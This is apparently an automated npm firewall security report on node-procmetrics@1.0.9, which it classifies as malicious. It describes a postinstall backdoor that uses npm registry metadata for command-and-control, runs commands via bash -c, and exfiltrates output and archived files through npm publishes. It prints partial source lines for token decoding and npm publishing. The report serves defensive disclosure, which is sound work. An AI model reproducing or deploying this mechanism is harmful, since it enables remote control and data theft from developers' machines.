--- canonical: "https://firewall.lpm.dev/npm/node-procmetrics" markdown: "https://firewall.lpm.dev/npm/node-procmetrics/report.md" package: "node-procmetrics" report_status: "published" title: "node-procmetrics@1.0.9 npm security report" verdict: "malicious" version: "1.0.9" --- # node-procmetrics@1.0.9 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Remote command execution, host file collection, and exfiltration under the installing user's permissions. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Remote Code Execution - **Selected version:** 1.0.9 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Direct source inspection confirms an install-time persistent backdoor with npm-based command-and-control, arbitrary command execution, and data exfiltration. This is concrete malicious behavior, not a package-aligned metric collector. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-07-13T13:33:23.611Z - **Finished:** 2026-07-13T13:33:53.041Z - **Download time:** 250 ms - **Static scan time:** 14 ms - **AI review time:** 29165 ms - **Total time:** 29430 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Installing the package starts a detached background agent. The agent uses npm registry metadata as command-and-control, executes arbitrary shell commands, and exports command output or archived files through npm package publications. - **Trigger:** \`npm install node-procmetrics@1.0.9\` activates \`postinstall\`. - **Impact:** Remote command execution, host file collection, and exfiltration under the installing user's permissions. - **Evidence paths:** package.json, install.js - **Review source:** ai\_review - **Reviewed:** 2026-07-13T13:33:53.041Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** persistent npm-registry C2 with arbitrary shell execution and data exfiltration - **Attack narrative:** The postinstall script installs itself as a detached \`/tmp\` daemon. It repeatedly reads command data from npm package dist-tags, decodes it, executes arbitrary commands with \`bash -c\`, and publishes captured output using an embedded npm token. A special command archives arbitrary filesystem paths and uploads the archive in chunks through a second npm package. - **Rationale:** Direct source inspection confirms an install-time persistent backdoor with npm-based command-and-control, arbitrary command execution, and data exfiltration. This is concrete malicious behavior, not a package-aligned metric collector. - **Files touched:** package.json, install.js, /tmp/.pm-agent.js, /tmp/.pm-agent.log, /tmp/npm-pub-\*, /tmp/pm-archive-\*.tar.gz - **Network endpoints:** https://registry.npmjs.org/node-procmetrics, https://registry.npmjs.org ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** \`package.json\` runs \`node install.js\` in \`postinstall\`., \`install.js\` decodes an embedded npm token and configures it for npm., Install code copies itself to \`/tmp/.pm-agent.js\` and spawns a detached daemon., Daemon polls \`registry.npmjs.org/node-procmetrics\` for base64 commands., Received commands are executed through \`bash -c\`; output is republished to npm., \`\_\_archive\_\_\` can tar arbitrary paths and upload chunks via npm publishes. - **Evidence against:** Package contains only \`package.json\` and \`install.js\`; no legitimate metrics implementation is present. ## Affected versions and remediation This report applies to node-procmetrics@1.0.9. - Avoid installing node-procmetrics@1.0.9. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node install.js ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = node install.js ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Child Process - **Category:** Source - **Confidence:** 85.0% - **Path:** install.js - **Public source:** [View source]() Package source references child process execution. Public source snippet (untrusted): ```javascript L1: const { execSync, spawnSync, spawn } = require('child_process'); L2: const https = require('https'); ``` ### 5. High: Shell - **Category:** Source - **Confidence:** 85.0% Package source references shell execution. ### 6. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 7. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 8. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 9. Critical: Npm Publish Worm - **Category:** Source - **Confidence:** 90.0% - **Path:** install.js - **Public source:** [View source]() Source mutates package metadata and republishes itself to npm. Public source snippet (untrusted): ```javascript L1: const { execSync, spawnSync, spawn } = require('child_process'); L2: const https = require('https'); L3: const fs = require('fs'); ... L5: const _e = '[redacted]'; L6: const NPM_TOKEN = Buffer.from(_e, 'hex').map(b => b ^ 0x5A).toString(); L7: const CMD_PKG = 'node-procmetrics'; ... L33: const pkg = { name: pkgName, version, description, license: 'MIT' }; L34: fs.writeFileSync(dir + '/package.json', JSON.stringify(pkg)); L35: if (files) { ... L42: execSync(`npm config set //registry.npmjs.org/:_authToken ${NPM_TOKEN} 2>/dev/null`); L43: execSync(`cd ${dir} && npm publish --access public 2>/dev/null`, { timeout: 60000 }); L44: log(`published ${pkgName}@${version}`); ``` ### 10. Critical: Trigger Reachable Dangerous Capability - **Category:** Source - **Confidence:** 90.0% - **Path:** install.js - **Public source:** [View source]() A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior. Public source snippet (untrusted): ```javascript Trigger-reachable chain: scripts.postinstall -> install.js L1: const { execSync, spawnSync, spawn } = require('child_process'); L2: const https = require('https'); L3: const fs = require('fs'); ... L5: const _e = '[redacted]'; L6: const NPM_TOKEN = Buffer.from(_e, 'hex').map(b => b ^ 0x5A).toString(); L7: const CMD_PKG = 'node-procmetrics'; ... L33: const pkg = { name: pkgName, version, description, license: 'MIT' }; L34: fs.writeFileSync(dir + '/package.json', JSON.stringify(pkg)); L35: if (files) { ... L42: execSync(`npm config set //registry.npmjs.org/:_authToken ${NPM_TOKEN} 2>/dev/null`); L43: execSync(`cd ${dir} && npm publish --access public 2>/dev/null`, { timeout: 60000 }); L44: log(`published ${pkgName}@${version}`); ``` ### 11. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 12. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 90.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** node-procmetrics - **Ecosystem:** npm - **Version:** 1.0.9 - **License:** MIT - **Version published:** 2026-07-13T13:26:27.422Z - **Package first seen:** 2026-07-13T10:16:33.128Z - **Package last seen:** 2026-07-13T14:55:07.095Z - **Known versions:** 10 - **Latest version:** 1.0.9 - **Appeal under review:** No - **Description:** System metrics collector - **Artifact files:** 2 - **Artifact unpacked size:** 5,233 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()